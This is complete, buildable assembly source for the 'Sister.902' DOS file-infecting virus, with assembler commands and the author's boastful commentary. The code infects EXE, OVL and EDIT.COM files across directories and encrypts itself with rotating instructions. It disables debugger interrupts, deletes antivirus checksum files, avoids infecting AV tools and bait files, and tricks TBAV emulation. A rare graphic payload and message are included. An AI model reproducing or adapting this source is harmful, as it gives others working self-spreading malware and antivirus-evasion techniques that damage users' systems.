; - Sister.902 -
;
; Size:       902 bytes. (can increase file 902+0-15 bytes)
;
; Encryption: sub/add, add/sub, xor/xor (depends on generation)
;
; Intresting: don't use the delta routine...(pads host)
;             and it also is very infectios on winblows comps
;             (OS hostile <G>)
;
; Poly: just sorta, barly even oligomorphism...not poly at all...more than
; just plain encryption (Thanks be to god <EG>). see notes. - no, the padding
; of host is NOT the "poly" (and I stress those ""'s).
;
; Payload: a simple, but nice Graphic payload, and message. 1/256 times.
;
; Anti-Debuging: of course...but not a MAJOR scheme or anything. Just read
; the code of it :) It would be a little complex to examin, however, nothing
; SUPER-dooper hard to bypass. It basicly does the following:
; Has a loop that does the following:
;  Screws Int 1h
; Then:
;  I destroy Int 3h. Until return to host.
;
; Very simple but could stop some lamers.
;
; Anti-Anti-Virus: Yes, Deletes CRC files of varios AV's, and also avoids
; the infection of lots of diffrent AV's - and not to mention that it'll screw
; over TBclean. And takes F-prot FOREVER to scan a infected file (annoying)..
; and it still don't detect. - Note that this is before AV added the
; detection for it. (F-prot couldn't emulate much)
;
; Anti-Bait: won't infect files older than 1990 (just because most bait generators
; will generate "old" files). And no files less than 2000 bytes. 2000, 0, 0, party
; over, oops, out of time - "Prince"  ;) tonight we gonna party like it's 19-99 :)
; I should have gone higher with the size, but, oh well.
;
; Greets: Cyclone, CyberYoda, Vecna, Virogen, and the others.
;
;
; EXE infection - and of course, same as OVL ---
; ------------------
;  First in this virus we open up a found host, and we find out how many bytes
; it will take until it is PERFECTLY divisable by 16. This way, our virus will
; wind up at a new paragraph, and thus, have no need for delta routine.
; Instead of the VERY common Shifting method of calculating CS:IP, I descided
; to simply divide. I infect OVL's just same as EXE's as long as they are found
; to be "Real" OVL's. Note: since I devide, files larger than 1,000,000 will
; be sorta corrupted, but who has a 1 meg dos EXE?
;
; It is "windows aware", it will not infect files with overlays, windows signiture.
;
; Stealth: as much as possible for a runtime virus. Int 24h handlr and date/time
; restoration.
;
; Edit.COM infection
; --------------------
; I'm not sure if anyone has ever noticed this, but yes, under winblows, edit.com
; is a EXE file. So, I figure, since most people who use DOS, use edit.com to
; read files, that I could use that fact agianst them, and simply infect it.
; Infected in similar manner to EXE/OVL's
;
; Poly (rather, should be: "opchanging")
; ----------
; Basicly, I just change the decryption instruction, and of course encrypt
; accordingly. Thus I have 3*65535 diffrent versions (not to shabby).
; It's just there for fun, and I'd imagine that it takes another byte or so
; from the available ones for scan strings.
;
;
; tasm /m2 sisters
; tlink sisters
;
;
; Lets see what the evil Mr. Kaspersky (o.k, not so evil if he writes me into 
; imortality <G>) has to say: (my comments in *)
;
; Sister.902
;
; It is not a dangerous nonmemory resident encrypted parasitic virus. It
; searches for EXE files, then writes itself to the end of the file. To
; locate ; EXE files the virus scans current and parent directories, then
; WINDOWS\COMMAND directory, looks for .EXE and .OVL files there and infects
; them. The virus also looks for the EDIT.COM file - it is not "true" COM file,
; but has EXE binary format starting from DOS 7 (Windows95). The virus checks
;
; * someone give him a prize, he must have wondered what I was doing *
;
; file names and does not infect files: F-*, AV*, DR*, SC*, IV*, TB*, FI*, FV*
; (F-PROT, AVP, DRWEB, SCAN, etc). The virus deletes the anti-virus data
; files: ANTI-VIR.DAT, IVB.NTZ. It also tries to delete CHKLIST.* data files,
; but fails because of a bug.
;
;    * oops! should have tested that delete oh well, bah at least it don't
;      crash or so *
;
; Depending on the system timer the virus manifests itself with a video
; effect and display the text:
;
;    Sisters
; 3 close friends
;
; The virus also contains the text strings:
;
; [Sisters]
; Techno Phunk/Ti

;----------------------
; on with the code.
.286

Code Segment
Assume Cs:Code,Ds:code,Ss:code,Es:code

Start:

	Push Ds					; Save PSP
	Push Cs Cs				; Set ES = DS = CS
	Pop Es Ds				; for data accessing.

        Lea Si,[Crypt_Start]                    ; read from
        Mov Di,Si                               ; write and read pos are same.
        Mov Cx,(End_Virus-Crypt_Start)/2        ; virus size in words.
Crypt_Loop:
        Lodsw                                   ; load word into AX
                                                ; 05h opcode =ADD Ax, imm16
        Op Db 05h                               ; ??? Ax, ???? (decryption inst)
        Crypt_Val Dw 0                          ; encryption key.
        Stosw                                   ; smack that bad boy down.
        Loop Crypt_Loop                         ; blah blah...here we go agian! :)

Crypt_Start:
        Pop Ax                                  ; PSP seg in AX..
        Mov Word Ptr [_Es],Ax                   ; save PSP seg in variable _Es

        Int 3h                                  ; stop debuger here first.

        Xor Bp,Bp                               ; Zero this for later use.
Get_Dta:
	Mov Ah,1ah				; Set new DTA address
	Lea Dx,Dta				; ds:dx = address
        Int 21h                                 ; do it.

Restore:                                        
        Lea Di,[Old_Regs]                       ; where it's going.
	Lea Si,[Store_Regs]			; old_reg = strore_reg
        Movsw                                   ; 2
        Movsw                                   ; 4
        Movsw                                   ; 6
        Movsw                                   ; 8, who do we apreciate :)
Fix_Errors:
        Mov Ax,3524h                            ; get int 24h addy.
        Int 21h
        Mov Word Ptr [Old24],Bx                 ; save original to restore later.
	Mov Word Ptr [Old24+2],Es
        Mov Ah,25h                              ; set 24h to DX
        Lea Dx,[New24h]                         ; point it to our own handler
        Int 21h                                 ; blah.

        Xor Cx,Cx                               ; for later (just for fun)

        Push Ds                                 ; save DS (we need it!)
        Xor Ax,Ax                               ; zero.
        Mov Ds,Ax                               ; to hero.

DebugLovesThis:
        Xchg Ax, Word Ptr Ds:[4]                ; INT 1h in IVT = 0 now. 
        Int 3h                                  ; stop here each time when "going"
        Xchg Ax, Word Ptr Ds:[4]                ; fix it up now.

                                                ; heehee...evil :)
        Xchg Al, Byte Ptr Ds:[12d]              ; 12d = offset of Int 3h in IVT
        Mov Byte Ptr [Old03],Al                 ; saved

        Pop Ds

        Mov Ah,47h                              ; get the starting DIR.
        Lea Si,[Starting_In]                    ; where it's gonna be saved.
	Cwd
	Int 21h

Find_File:
        Mov Ah,41h                              ; ouch.
        Lea Dx, AntiVirDat                      ; deleting file.
        Int 21h                                 ; see ya TBAV

        ; bugy :( - should have remembered the * don't work <G> -

        Mov Ah,41h
	Lea Dx,MsCrap
        Int 21h                                 ; adios M$

        ; not buggy anymore.

	Mov Ah,41h
	Lea Dx,IvCrap
        Int 21h                                 ; Shalom IV.

        Mov Byte Ptr [Checkin],0                ; null...zero, nope, none, nadda
        Mov Byte Ptr [Offset Vx_Mask+2],'E'     ; fix up.
        Mov Di,11d                              ; counter. 11 infections per run

	Mov Ah,4eh				; Find first
        Lea Dx,Vx_Mask				; '*.exe'
        Mov Cl,7                                ;  attribute CX =0 already.
Find_Next:
        Int 21h                                 ; DOS!

        Mov Byte Ptr [Offset Vx_Mask+2],'3'     ; it can go back to old string.

        Jnc Open                                ; open it if found something.

        Cmp Byte Ptr [Checkin],1                
	Je Change
Find_Ovl:
        Mov Ah,4eh                              ; Now for those darn OVL's
	Lea Dx, Ovl_Mask
        Mov Cx,7                                ; no telling what CX is. so
        Int 21h                                 ; just quicker this way.
        Jnc Open                                ; Something found?! coolness

        Inc Byte Ptr [Checkin]                  ; let it be known, it's been
                                                ; searched out :)

	Mov Ah,4eh
	Lea Dx, EditCom				; look for our friend: edit.com
	Int 21h					; in win95/98, is a EXE (dos)
	Mov Cx,7
	Jnc Open				; open, see if infected

Change:
	Mov Ah,3Bh				; and next, on your left
	Lea Dx,[Dot]				; you'll see us do the lame
	Int 21h					; and clasic, dot_dot method :)

        Jnc Find_File                           ; find me a file/delete CRC's

Goto_Command:
        Or Bp, Bp                               ; made it to windows\command yet?
        Jz No_Restore_DTA                       ; nopers....keep going

Bridge_To_Restore:                              ; O.k, I'm outta here.
	Jmp Restore_Dta

No_Restore_DTA:
        Mov Ah,3Bh                             ; changing to windows\command.
        Lea Dx,[Command]                       ; FUN! :)
	Int 21h
        Jc Bridge_To_Restore                   ; not a real lame user.
                              
        Inc Bp                                 ; Let it be known, been visited
        Jmp Find_file                          ; go, go, go!

; Note: I descided to be nice to DOS users. After all, Windows users are the
; evil/lame ones :)

Open:
        Lea Si, AVlist                  ; CX already = 7 :) <EG>
NoInfectLoop:
        Lodsw                           ; load word (into AX)
        Cmp Word Ptr [Dta+30],Ax        ; 30h-32h = start of file name in DTA
        Je Get_Another                  ; darn AV..what's it doing here?!
        Loop NoInfectLoop               ; loopty doopy.

        Cmp Word Ptr [Dta+18h],1010b    ; check if it's year is less than 90.
        Jb Get_Another                  ; avoids a few diffrent bait files.

        Cmp Word Ptr [Dta+26],2000d     ; no files < 2000 bytes.
        Jb Get_Another                  ; more anti-bait.

        Mov Ax,3d02h                    ; opening file now.
        Lea Dx,Dta+1eh                  ; file name
        Int 21h                         ; DOS!

        Xchg Ax,Bx                      ; bx= file handle
        Mov Ax,5700h                    ; get file date
	Int 21h
        Push Cx                         ; push time
        Push Dx                         ; push date

Read_Header:

        Mov Ah,3fh                      ; read header
        Mov Cx,1ch                      ; 1ch bytes.
        Lea Dx,Header                   ; where to read to.
        Int 21h                         ; DOSy poo!

Winblows:
        Cmp Byte Ptr [Header+24],40h    ; Windows file?
        Je Get_Another                  ; 24d = "@" = winblows.

Blah:
        Mov Ax,Word Ptr [Header]        ; checking for MZ or ZM
        Add Al,Ah                       ; addition is communitive of course.
        Cmp Al,0A7h                     ; M+Z = 0a7h

	Jnz Get_Another

                                        
Overlay_Check:                          ; then....
        Cmp Word Ptr [Header+26],0      ; Overlays?
	Jne Get_Another
Next:
        Cmp Word Ptr [header+12h],'PT'  ; Infection marker
	Je Get_Another
                                        ; swaaeeeeeeeet, infection time

Save_Header:
        Mov Ax,Word Ptr [Header+0eh]    ; Save Stack Segment of EXE
	Mov Word Ptr [Store_Ss],Ax

        Mov Ax,Word Ptr [Header+10h]    ; Save Stack Pointer of EXE
	Mov Word Ptr [Store_Sp],Ax

        Mov Ax,Word Ptr [Header+14h]    ; Save original IP
	Mov Word Ptr [Store_Ip],Ax

        Mov Ax,Word Ptr [Header+16h]    ; and CS
	Mov Word Ptr [Store_Cs],Ax

        Mov Ax,4202h                    ; goto End of File.
	Xor Cx,Cx
	Cwd
	Int 21h

        Push Ax                         ; Check for file padding, etc.

        Neg Ax                          ; Dec Ax and Not Ax  - smaller.
        And Ax,0Fh                      ; within the bondarys.
        Xchg Ax,Cx                      ; For writing (if needed)
        Jz NoPadding                    ; It's cool.
        Mov Ah,40h                      ; no, we need to write some stuff
        Int 21h                         ; write it to end of host.
        Jnc NoPadding                   ; Fine.
        Jmp Close                       ; Otherwise, screw it.

Get_Another:
        Mov Ah,3eh                      ; Close file
	Int 21h

Get_Next:
        Mov Ah,4fh                      ; find next.
	Jmp Find_Next

NoPadding:                              ; Calculate New CS:IP
	Pop Ax
        Add Ax,Cx                       ; Note: I screwed the normal shifting
        Push Ax                         ; method, Divide is much better for this, now. 
	Push Dx

        Mov Cl,10h
        Div Cx                          ; o.k, Ax  = new CS now. + headersize

        Sub Ax,Word Ptr [Header+8h]     ; subtract header size to get CS value
        Mov Word Ptr [Header+16h],Ax    ; save new CS
        Inc Ax                          ; Make SS > Cs (avoids TBAV flag: K)
        Mov Word Ptr [Header+0eh],Ax    ; new Stack Segment.

        Xchg Ax,Dx                      
        Mov Word Ptr [Header+14h],Ax    ; Save new IP
        Mov Word Ptr [Header+10h],0ff0h ; new SP = 0FF0h

        Add Word Ptr [Header+0ah],125   ; min alloc+= 2000 bytes
        Mov Word Ptr [Header+12h],'PT'  ; checksum= marker

        Pop Dx Ax                       ; give me the file size back

Compute_Size:

        Add Ax,End_Virus-Start           ; add in the virus size.
	Adc Dx,0
        Mov Cx,512                       ; divide by 512 please.
	Div Cx
        Or Dx, Dx                        ; dx= remander, 0 if none.
        Jz Enough                        ; no remainder.
        Inc Ax                           ; otherwise increment.
Enough:
        Mov Word Ptr [Header+04],Ax      ; new length
        Mov Word Ptr [Header+02],Dx      ; and remainder

Write_Virus:
        In Ax,40h                         ; random number (from timer)
        Mov [Crypt_Val],Ax                ; store encryption code

        Mov Dx, Ax                        ; Dx = Key for encryption (optomisation)

        Push Cs                           ; and agian, Es=Cs
	Pop Es

        Xor Si,Si                         ; Si = Start
        Push Di                           ; Save Counter
        Lea Di,Heap                       ; Points to Heap.

        Mov Cx, (Crypt_Start+1-Start)/2   ; move this hunk o junk to heap.
        Rep Movsw                         ; repeat Movs to the heap.
        Mov Cx,(End_Crypt - Crypt_Start) / 2 ; for later.

        In Ax,40h                         ; so that encrypt key / instruction
                                          ; arn't based on each other.
        Or Al, Al                         ; rarely Add-crypt - like slow poly or something.
        Jz AddCrypt
        Add Ax,Ax                         ; double it.
        Cmp Ax,01555h
        Jbe XorCrypt                      ; if it's below, XOR, otherwise
SubCrypt:                                 ; add/sub
	Lodsw
	Add Ax, Dx
	Stosw
	Loop SubCrypt
        Mov Al, 2dh                       ; sub ax, ???? op code.
        Jmp Countinue                     
AddCrypt:                                 ; sub/add
	Lodsw
	Sub Ax, Dx
	Stosw
	Loop AddCrypt
        Mov Al,05h                        ; Add Ax,???? op code.
	Jmp Countinue
XorCrypt:                                 ; xor/xor
	Lodsw
	Xor Ax, Dx
	Stosw
	Loop XorCrypt
        Mov Al,35h
Countinue:
        Mov Byte Ptr [Offset Heap+14d], Al  ; whatever opcode needed.
        Pop Di                            ; restore counter

	Mov Ah,40h
        Mov Cx,End_Virus-Start            ; write out vir to file.
        Lea Dx,Heap                       ; starting from heap.
	Int 21h

        Mov Ax,4200h                      ; Begin Of File
	Xor Cx,Cx
        Cwd                               ; Clear DX
	Int 21h

Copy_New_Header:                          ; Out the New header.
	Mov Ah,40h
        Mov Cx,1ch                        ; 1ch bytes.
        Lea Dx,Header                     ; blah
        Int 21h                           ; blah, ain't this fun? :)

Close:
        Pop Dx                            ; restore date
        Pop Cx                            ; time.
        Mov Ax,5701h                      ; al=01 - *SET* time/date
	Int 21h
                                          ; close file
	Mov Ah,3eh
	Int 21h

        Dec Di                            ; counter going down.
        Jz Restore_Dta                    ; if = 0, restore DTA, and exit
        Jmp Get_Next                      ; otherwise, next!

Restore_Dta:
        Mov Ax,2524h                      ; restore old int24h
        Push Ds                           ; we still need DS after this.
	Lds Dx,[Old24]
	Int 21h
        Pop Ds                            ; gimme!

        Mov Ah,3bh                        ; back to original dir.
	Lea Dx,[Starting_In]
	Int 21h

Make_Sure:
        In Al,40h                          ; my favorite part, payload check.
	Or Al,Al
        Jz HeHeH                           ; 1/256 times.
Not_Now:
        Mov Ax,Word Ptr [_Es]              ; ax= PSP seg
        Push Ax                            ; ds= PSP
	Add Ax,10h
        Add Word Ptr [Old_Cs],Ax           ; figure new CS

	Pop Ds
        Mov Dx,80h                         ; restore DTA
	Mov Ah,1ah
	Int 21h

        Push Ds                            ; es= PSP
	Pop Es

Restore_Stack:
	Cli
        Add Ax,Word Ptr Cs:[Old_Ss]        ; set new SS:SP
	Mov Ss,Ax
	Mov Sp,Word Ptr Cs:[Old_Sp]
	Sti
Jump_To_Host:
        Push Ds
        Xor Ax,Ax                          ; restore Int 3h (being nice)
        Mov Ds,Ax
        Mov Al, Byte Ptr [Old03]
        Xchg Al,Byte Ptr Ds:[12d]

        Pop Ds

; only problem with below: won't work with computers with a tape deck.
; but, who cares? this virus is already unfriendly to those comps.

	Xor Ax,Ax				; TBAV can't emulate this.
	Int 15h					; returns 86h if no tape drive.
	Cmp Ah,86h				; TBAV don't know this.
	Jne $+128				; winds up in the payload area.
						; which is found "legit"

						; see TI#1 for more info
	Int 3h					; used to Flush Prefetch.

	Db 0eah					; jump to host
Old_Regs:
	Old_Ip Dw 0
	Old_Cs Dw 0
	Old_Sp Dw 0
	Old_Ss Dw 0
Store_Regs:
	Store_Ip Dw 0
	Store_Cs Dw 0fff0h
	Store_Sp Dw 0
	Store_Ss Dw 0fff0h

Show:
	Lodsb
	Mov Ah,0eh
	Int 10h
	Loop Show
	Ret
New24h:                                         ; temporary handler.
	Mov Al,3				; fail error
	Iret					; interrupt return
HeHeH:
        Mov Ax,13h                              ; switch into gfx mode :)
        Int 10h                                 ; danke Int 10h.

        Mov Ax,1012h                            ; Set VGA palette
	Xor Bx,Bx
        Mov Cx,256                              ; 256 colors.
	Push Ds
	Pop Es					; es=ds
        Lea Dx,Vgapal                           ; pointer to the VGA "palete"
	Int 10h
        Mov Ax,0a000h                           ; HMA (video ram)
	Mov Es,Ax				; video fx baby :)
	Xor Di,Di
        Mov Cx,64000                            ; 64,000 times we loop.

Nxtcol:
        Mov Al,Cl                               ; Al=low part of CX
        And Al,65                               ; limit to 65.
        Stosb                                   ; store it.
        Loop NxtCol                             ; next color.
        Mov Cx,64                               ; 64 times.
NxtDim:
        Xor Di,Di                               ; di = 0
NxtDim1:
        Mov Al,Byte Ptr Es:[Di+3]
        Or Al,Al                                ; 0?
        Jz Nodec                                ; Nope
        Dec Al                                  ; just decrease al for now.
NoDec:
	Stosb					; plot.
        Cmp Di,64000                            ; done?
        Jne NxtDim1                             ; no, do it agian.
        Xor Bx,Bx                               ; Clear BX for delay loop.
NxtWait:
        Inc Bx                                  ; minor delay loop.
	Jne Nxtwait
        Loop NxtDim                             ; hate rides that spin :)

        Mov Ax,13h                              ; clears screen in this case.
        Int 10h                                 

        Mov Ah,2                                ; move pointer
        Mov Dx,211h                             ; 2,11 cordinates.
        Int 10h                                 ; do it.
        Push Cs                                 ; cs=ds
	Pop Ds
        Lea Si,Mes                              ; pointer to the message
        Mov Bl, 1                               ; page.
        Mov Cx,7                                ; length.
        Call Show                               ; show the string using tel-type

	Mov Ah,2h				; place cursor :)
        Mov Dx,40dh                             ; done, put cursor at 05, 14
        Int 10h                                 ; lay it down mr. comp.
        Lea Si,Mes2                             ; Points at message 2.
        Mov Cx,0fh                              ; it is 15 bytes long.

        Mov Bl,2                                ; color for second msg - green
        Call Show                               ; show that bad boy.

        Xor Ax,Ax                               ; user, please acknowledge
	Int 16h
                                                ; lets destruct HD now...NOT!
        Mov Ax,3h                               ; guess they can have those
        Int 10h                                 ; small letters back <EG>

        Jmp Not_Now                             ; back up.

        Mes db 'Sisters'                        ; dumb message to display ;)
	Mes2 db '3 close friends'

Ouch:                                           ; "copyright crap"
        Msg      Db '[Sisters] Techno Phunk/Ti',13,10

; some AV CRC files.
	AntiVirDat Db 'Anti-Vir.Dat',0
	MsCrap   Db 'CHKLIST.*',0
	IvCrap   Db 'ivb.ntz',0

; Masks for searches.

	Vx_Mask  Db '*.3xe',0
	Ovl_mask Db '*.ovl',0
	EditCom  Db 'edit.com',0

; DIR's to infect.

	Dot      Db '..',0
	Command  Db 'windows\command',0

; the AV list (don't infect them!)

        AVlist   DB 'F-AVDRSCIVTBFIFV',0
; AV - AVP
; DR - Dr Web
; SC - Scan - McAfee
; IV - Inversi#@$@
; TB - ThunderByte
; FI - FindVirus  \
;                Dr Scully stuff.
; FV - fv????.exe /              

; Palete, etc.
	Vgapal db 1,1,1

End_Crypt:

End_Virus:
	Header Db 1fh Dup (?)
	Starting_In Db 64h Dup(?)
	_Es Dw ?
	Dta Db 43 Dup (?)
	Checkin  Db ?
	Old24    Dd ?
        Old03    Db ?
Heap:
Code ends
End Start
